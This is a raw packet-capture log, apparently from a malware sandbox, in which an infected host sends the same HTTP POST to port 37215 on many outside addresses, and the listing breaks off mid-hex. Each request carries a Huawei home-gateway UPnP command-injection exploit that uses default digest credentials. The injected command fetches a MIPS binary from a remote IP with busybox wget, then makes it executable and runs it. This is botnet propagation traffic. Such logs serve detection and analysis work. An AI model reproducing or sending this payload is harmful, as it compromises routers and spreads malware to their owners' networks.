Sep 25, 2024 14:14:09.876234055 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.14	42254	197.172.82.145	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.878057957 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.14	55974	197.22.8.23	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.879566908 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.14	46578	156.5.157.97	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.881221056 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.14	57410	41.161.47.162	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.882805109 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.14	57062	197.213.83.147	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.884144068 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.14	59120	41.236.198.95	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.885865927 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.14	53092	197.232.113.246	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.886915922 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.14	43676	41.17.167.241	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.888113976 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.14	40592	156.231.211.64	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.889282942 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.14	42828	156.43.122.92	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.891283035 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 